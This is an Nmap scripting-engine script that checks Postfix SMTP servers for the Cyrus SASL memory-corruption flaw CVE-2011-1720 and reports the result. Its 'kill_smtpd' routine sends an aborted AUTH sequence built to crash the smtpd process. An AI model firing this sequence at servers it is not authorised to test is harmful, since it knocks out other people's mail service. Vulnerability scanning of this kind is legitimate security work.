local shortport = require "shortport" local smtp = require "smtp" local stdnse = require "stdnse" local string = require "string" local table = require "table" local vulns = require "vulns" description = [[ Checks for a memory corruption in the Postfix SMTP server when it uses Cyrus SASL library authentication mechanisms (CVE-2011-1720). This vulnerability can allow denial of service and possibly remote code execution. Reference: * http://www.postfix.org/CVE-2011-1720.html ]] --- -- @usage -- nmap --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=' -pT:25,465,587 -- -- @output -- PORT STATE SERVICE -- 25/tcp open smtp -- | smtp-vuln-cve2011-1720: -- | VULNERABLE: -- | Postfix SMTP server Cyrus SASL Memory Corruption -- | State: VULNERABLE -- | IDs: CVE:CVE-2011-1720 OSVDB:72259 -- | Description: -- | The Postfix SMTP server is vulnerable to a memory corruption vulnerability -- | when the Cyrus SASL library is used with authentication mechanisms other -- | than PLAIN and LOGIN. -- | Disclosure date: 2011-05-08 -- | Check results: -- | AUTH tests: CRAM-MD5 NTLM -- | Extra information: -- | Available AUTH MECHANISMS: CRAM-MD5 DIGEST-MD5 NTLM PLAIN LOGIN -- | References: -- | http://www.postfix.org/CVE-2011-1720.html -- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1720 -- |_ http://osvdb.org/72259 -- -- @args smtp.domain Define the domain to be used in the SMTP EHLO command. author = "Djalal Harouni" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive", "vuln"} portrule = shortport.port_or_service({25, 465, 587}, {"smtp", "smtps", "submission"}) local AUTH_VULN = { -- AUTH MECHANISM -- killby: a table of mechanisms that can corrupt and -- overwrite the AUTH MECHANISM data structure. -- probe: max number of probes for each test ["CRAM-MD5"] = { killby = {["DIGEST-MD5"] = {probe = 1}} }, ["DIGEST-MD5"] = { killby = {} }, ["EXTERNAL"] = { killby = {} }, ["GSSAPI"] = { killby = {} }, ["KERBEROS_V4"] = { killby = {} }, ["NTLM"] = { killby = {["DIGEST-MD5"] = {probe = 2}} }, ["OTP"] = { killby = {} }, ["PASSDSS-3DES-1"] = { killby = {} }, ["SRP"] = { killby = {} }, } -- parse and check the authentication mechanisms. -- This function will save the vulnerable auth mechanisms in -- the auth_mlist table, and returns all the available auth -- mechanisms as a string. local function chk_auth_mechanisms(ehlo_res, auth_mlist) local mlist, mstr = smtp.get_auth_mech(ehlo_res), "" if mlist then for _, mech in ipairs(mlist) do mstr = mstr.." "..mech if AUTH_VULN[mech] then auth_mlist[mech] = mech end end end return mstr end -- Close any remaining connection local function smtp_finish(socket, status, err) if socket then smtp.quit(socket) end return status, err end -- Tries to kill the smtpd server -- Returns true, true if the smtpd was killed local function kill_smtpd(socket, mech, mkill) local killed, ret = false local status, response = smtp.query(socket, "AUTH", string.format("%s", mech)) if not status then return status, response end status, ret = smtp.check_reply("AUTH", response) if not status then return smtp_finish(socket, status, ret) end -- abort authentication smtp.query(socket, "*") status, response = smtp.query(socket, "AUTH", string.format("%s", mkill)) if status then -- abort the last AUTH command. status, response = smtp.query(socket, "*") end if not status then if string.match(response, "connection closed") then killed = true else return status, response end end return true, killed end -- Checks if the SMTP server is vulnerable to CVE-2011-1720 -- Postfix Cyrus SASL authentication memory corruption -- http://www.postfix.org/CVE-2011-1720.html local function check_smtpd(smtp_opts) local socket, ret = smtp.connect(smtp_opts.host, smtp_opts.port, {ssl = false, recv_before = true, lines = 1}) if not socket then return socket, ret end local status, response = smtp.ehlo(socket, smtp_opts.domain) if not status then return status, response end local starttls = false local auth_mech_list, auth_mech_str = {}, "" -- parse server response for _, line in pairs(stdnse.strsplit("\r?\n", response)) do if not next(auth_mech_list) then auth_mech_str = chk_auth_mechanisms(line, auth_mech_list) end if not starttls then starttls = line:match("STARTTLS") end end -- fallback to STARTTLS to get the auth mechanisms if not next(auth_mech_list) and smtp_opts.port.number ~= 25 and starttls then status, response = smtp.starttls(socket) if not status then return status, response end status, response = smtp.ehlo(socket, smtp_opts.domain) if not status then return status, response end for _, line in pairs(stdnse.strsplit("\r?\n", response)) do if not next(auth_mech_list) then auth_mech_str = chk_auth_mechanisms(line, auth_mech_list) end end end local vuln = smtp_opts.vuln vuln.check_results = {} if (#auth_mech_str > 0) then vuln.extra_info = {} table.insert(vuln.extra_info, string.format("Available AUTH MECHANISMS: %s", auth_mech_str)) -- maybe vulnerable if next(auth_mech_list) then local auth_tests = "" for mech in pairs(auth_mech_list) do for mkill in pairs(AUTH_VULN[mech].killby) do if auth_mech_list[mkill] then auth_tests = auth_tests.." "..mech local probe = AUTH_VULN[mech].killby[mkill].probe for p = 1, probe do status, ret = kill_smtpd(socket, mech, mkill) if not status then return smtp_finish(nil, status, ret) end if ret then vuln.state = vulns.STATE.VULN table.insert(vuln.check_results, string.format("AUTH tests:%s", auth_tests)) table.insert(vuln.check_results, string.format("VULNERABLE (%s => %s)", mech, mkill)) return smtp_finish(nil, true) end end end end end table.insert(vuln.check_results, string.format("AUTH tests:%s", auth_tests)) end else stdnse.print_debug(2, "%s: Authentication is not available", SCRIPT_NAME) table.insert(vuln.check_results, "Authentication is not available") end vuln.state = vulns.STATE.NOT_VULN return smtp_finish(socket, true) end action = function(host, port) local smtp_opts = { host = host, port = port, domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or smtp.get_domain(host), vuln = { title = 'Postfix SMTP server Cyrus SASL Memory Corruption', IDS = {CVE = 'CVE-2011-1720', OSVDB = '72259'}, description = [[ The Postfix SMTP server is vulnerable to a memory corruption vulnerability when the Cyrus SASL library is used with authentication mechanisms other than PLAIN and LOGIN.]], references = { 'http://www.postfix.org/CVE-2011-1720.html', }, dates = { disclosure = {year = '2011', month = '05', day = '08'}, }, }, } local report = vulns.Report:new(SCRIPT_NAME, host, port) local status, err = check_smtpd(smtp_opts) if not status then stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, err) return nil end return report:make_output(smtp_opts.vuln) end